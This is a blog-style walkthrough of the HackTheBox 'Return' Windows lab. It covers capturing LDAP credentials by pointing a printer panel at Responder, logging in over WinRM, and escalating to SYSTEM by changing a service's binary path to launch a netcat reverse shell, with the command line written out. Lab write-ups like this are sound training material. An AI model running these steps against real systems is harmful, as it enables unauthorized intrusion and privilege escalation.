HackTheBox : Return Walkthrough

GrimTheRipper
5 min readFeb 23, 2025

--

Operating System : Windows

Difficulty : Easy

First, let start reconnaissance all open ports on all the target system with nmap scan.

All open ports.

Next, use the Nmap tool to scan the details of the services and versions on all open ports. You will find that the LDAP service points to the domain: return.local.

Nmap scan detail of open ports.

Add the target machine’s IP address (10.10.11.108) and domain (return.local) to the /etc/hosts file

Add ipaddress and domain to /etc/hosts file.

Next, navigate to the website http://return.local, where you will find the HTB Printer Admin Panel.

HTB Printer Admin Panel

Next, explore the various functions and find a ‘Settings’ page (http://return.local/settings.php) for logging into the system. On this page, you will discover a connection to the server address printer.return.local on port 389, which is an LDAP service, with the username (svc-printer) and password (blind) stored within the website.

Printer Settings Panel

Next, view the source code to find the stored password, but you will discover that it is unreadable due to protection measures.

Find password in the source code

Next, use BurpSuite to intercept the request sent from the settings page to the server. You’ll find that the body of the request contains only the server address. This allows an attacker to modify the server address to connect to their own machine, potentially capturing the username and password used to authenticate with the LDAP service.

Intercept request from settings

Use the Responder tool to listen for incoming traffic, configuring it to operate on the tun0 interface.

Responder

In the settings panel, change the server address to connect to the attacker’s server (in this example, 10.10.14.12), then click ‘Update’.

Change Server Address to Attacker Server

On the attacker’s Responder, you will see that the LDAP service credentials have been successfully captured.

Credentials Captured

Next, use the netexec tool to test access to the target machine using the credentials of the svc-printer user via WinRM. You will find that the connection is successful, granting full access to the target machine (Pwn3d!).

Test access to the target machine successfully with svc-printer user (Pwn3d!).

Next, use the Evil-WinRM tool along with the credentials (username and password) of the svc-printer user to connect to the target machine, and you will find that the connection is successful.

Access the target machine successfully with svc-printer user

Read the user flag from the user.txt file.

User flag : user.txt

Next, examine the permissions of the svc-printer user and find that they belong to the ‘Server Operators’ group. This means they have the authority to set the location of binary files used to start various services and can start or stop services on the server.

Members of the Server Operators group can sign in to a server interactively, create and delete network shared resources, start and stop services, back up and restore files, format the hard disk drive of the computer, and shut down the computer.

svc-printer is member of “Server Operators” group

Next, review the services running on the target machine, focusing on those that start with LocalSystem privileges. In this lab, the service ‘VGAuthService’ will be selected.

Select “VGAuthService” service

Upload nc64.exe to the target machine.

Upload nc64.exe to the target machine

Next, set the service’s binary start path (binpath) to execute cmd.exe and run nc64.exe, instructing it to connect to IP 10.10.14.12 on port 4444. Once the connection is successful, Netcat will launch cmd.exe (Command Prompt).

C:\windows\system32\cmd.exe /c C:\Users\svc-printer\Desktop\nc64.exe -e cmd <attacker ip> 4444
Initial start binary path config

Next, verify the binary path file settings to confirm that it points to the desired location successfully, and then start the service with LocalSystem privileges.

Initial start binary path config successfully

Next, on the attacker’s machine, use the nc command to create a listener to await the connection from the target machine on port 4444.

Start listener with nc

Next, stop the VGAuthService service.

VGAuthService service stopped

Check the status of the VGAuthService again to ensure that it has stopped running.

Recheck state of VGAuthService service is stopped

Next, start the VGAuthService service to initiate its execution, following the binary path that was set.

Start VGAuthService service

On the attacker’s machine, a reverse shell connection from the target machine is successfully established with nt authority\system privileges, the highest level of access on the Windows operating system.

Access the target machine with “nt authority\system” successfully

Read the root flag from the root.txt file.

Root flag : root.txt

--

--

GrimTheRipper
GrimTheRipper

Written by GrimTheRipper

You get the best out of others when you give the best of yourself

No responses yet